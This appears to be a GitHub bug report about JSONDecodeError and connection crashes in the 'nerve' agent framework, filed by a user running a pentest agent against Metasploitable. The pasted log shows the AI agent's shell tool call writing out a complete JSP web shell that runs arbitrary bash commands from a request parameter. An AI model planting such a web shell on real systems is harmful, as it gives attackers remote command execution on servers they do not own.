Skip to content

[Bug]: JSONDecodeErrorΒ #68

@rafale0n

Description

@rafale0n

What happened?

Hey, thanks for an amazing framework. I have been playing with it recently and I have noticed that it crashes sometimes when receiving an output the the llm. I have build simple pentest agent, and from time to time I get this error. It has hard to get the error replicated as I don't know what is triggering it. Here is an example, script output when testing metasploitable:

[12-16-25 09:41:23] INFO πŸ›   shell(cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*"%>                                                                                                                                                                                                                                                                                                            
<%                                                                                                                                                                                                                                                                                                                                                   
// JSP Web Shell - Command Execution                                                                                                                                                                                                                                                                                                                 
String cmd = request.getParameter("cmd");                                                                                                                                                                                                                                                                                                            
String output = "";                                                                                                                                                                                                                                                                                                                                  
                                                                                                                                                                                                                                                                                                                                                     
if (cmd != null && !cmd.isEmpty()) {                                                                                                                                                                                                                                                                                                                 
    try {                                                                                                                                                                                                                                                                                                                                            
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});                                                                                                                                                                                                                                                                      
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));                                                                                                                                                                                                                                                           
        String line;                                                                                                                                                                                                                                                                                                                                 
        StringBuilder sb = new StringBuilder();                                                                                                                                                                                                                                                                                                      
        while ((line = br.readLine()) != null) {                                                                                                                                                                                                                                                                                                     
            sb.append(line).append("\n");                                                                                                                                                                                                                                                                                                            
        }                                                                                                                                                                                                                                                                                                                                            
        output = sb.toString();                                                                                                                                                                                                                                                                                                                      
    } catch (Exception e) {                                                                                                                                                                                                                                                                                                                          
        output = "Error executing command: " + e.getMessage();                                                                                                                                                                                                                                                                                       
    }                                                                                                                                                                                                                                                                                                                                                
}                                                                                                                                                                                                                                                                                                                                                    
%>                                                                                                                                                                                                                                                                                                                                                   
<!DOCTYPE html>                                                                                                                                                                                                                                                                                                                                      
<html>                                                                                                                                                                                                                                                                                                                                               
<head>                                                                                                                                                                                                                                                                                                                                               
    <title>Tomcat Web Shell</title>                                                                                                                                                                                                                                                                                                                  
    <style>                                                                                                                                                                                                                                                                                                                                          
        body { font-family: Arial, sans-serif; margin: 20px; background: #1e1e1e; color: #fff; }                                                                                                                                                                                                                                                     
        .container { max-width: 900px; margin: 0 auto; }                                                                                                                                                                                                                                                                                             
        form { background: #2d2d2d; padding: 15px; border-radius: 5px; margin-bottom: 20px; }                                                                                                                                                                                                                                                        
        input[type="text"] { width: 70%; padding: 8px; background: #3d3d3d; color: #fff; border: 1px solid #555; }                                                                                                                                                                                                                                   
        input[type="submit"] { padding: 8px 20px; background: #007acc; color: white; border: none; border-radius: 3px; cursor: pointer; }                                                                                                                                                                                                            
        pre { background: #000; color: #0f0; padding: 15px; border-radius: 5px; overflow-x: auto; font-family: 'Courier New', monospace; }                                                                                                                                                                                                           
        h1 { color: #007acc; }                                                                                                                                                                                                                                                                                                                       
        .cmd { color: #ffd700; font-weight: bold; }                                                                                                                                                                                                                                                                                                  
    </style>                                                                                                                                                                                                                                                                                                                                         
</head>                                                                                                                                                                                                                                                                                                                                              
<body>                                                                                                                                                                                                                                                                                                                                               
    <div class="container">                                                                                                                                                                                                                                                                                                                          
        <h1>⚑ Tomcat JSP Web Shell</h1>                                                                                                                                                                                                                                                                                                             
        <form method="GET">                                                                                                                                                                                                                                                                                                                          
            <input type="text" name="cmd" placeholder="Enter command to execute" value="<%= cmd != null ? cmd : "whoami" %>"/>                                                                                                                                                                                                                       
            <input type="submit" value="Execute"/>                                                                                                                                                                                                                                                                                                   
        </form>                                                                                                                                                                                                                                                                                                                                      
        <% if (cmd != null) { %>                                                                                                                                                                                                                                                                                                                     
            <h3>Command: <span class="cmd"><%= cmd %></span></h3>                                                                                                                                                                                                                                                                                    
            <pre><%= output %></pre>                                                                                                                                                                                                                                                                                                                 
        <% } %>                                                                                                                                                                                                                                                                                                                                      
    </div>                                                                                                                                                                                                                                                                                                                                           
</body>                                                                                                                                                                                                                                                                                                                                              
</html>                                                                                                                                                                                                                                                                                                                                              
EOF                                                                                                                                                                                                                                                                                                                                                  
)                                                                                                                                                                                                                                                                                                                                                    
[12-16-25 09:41:23] INFO  ↳ shell -> <class 'str'> (0 bytes) in 0.0051s
[12-16-25 09:41:23] INFO πŸ“Š [step 20] [usage cost=0.0 prompt_tokens=152154 completion_tokens=3620 total_tokens=155774]
[12-16-25 09:41:31] ERROR Exception during agent step: Expecting value: line 1 column 1 (char 0)
[12-16-25 09:41:31] INFO unknown event: timestamp=1765878091.662667 name='error' data={'agent_name': 'pentest', 'error': JSONDecodeError('Expecting value: line 1 column 1 (char 0)')}
[12-16-25 09:41:31] ERROR Traceback (most recent call last):
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/runtime/agent.py", line 161, in step
    usage = await self.generation_engine.step(system_prompt, prompt, extra_tools, extra_message)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/generation/litellm.py", line 188, in step
    await self._process_tool_call(
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/nerve/generation/__init__.py", line 271, in _process_tool_call
    tool_call_args = json.loads(args) if isinstance(args, str) else args
                     ^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/json/decoder.py", line 338, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/json/decoder.py", line 356, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Here is another example :

[12-16-25 09:58:07] ERROR litellm.APIError: APIError: OpenrouterException - peer closed connection without sending complete message body (incomplete chunked read)
[12-16-25 09:58:07] ERROR Traceback (most recent call last):
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpx/_transports/default.py", line 101, in map_httpcore_exceptions
    yield
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpx/_transports/default.py", line 127, in __iter__
    for part in self._httpcore_stream:
                ^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/connection_pool.py", line 407, in __iter__
    raise exc from None
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/connection_pool.py", line 403, in __iter__
    for part in self._stream:
                ^^^^^^^^^^^^
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 342, in __iter__
    raise exc
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 334, in __iter__
    for chunk in self._connection._receive_response_body(**kwargs):
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 203, in _receive_response_body
    event = self._receive_event(timeout=timeout)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_sync/http11.py", line 213, in _receive_event
    with map_exceptions({h11.RemoteProtocolError: RemoteProtocolError}):
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/contextlib.py", line 158, in __exit__
    self.gen.throw(value)
  File "/home/kali/Desktop/nerve_agent/venv/lib/python3.12/site-packages/httpcore/_exceptions.py", line 14, in map_exceptions
    raise to_exc(exc) from exc
httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

Let me know if I can be any more helpful ?

Version check

  • Yes I was.

Relevant log output

Relevant screenshots (optional)

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions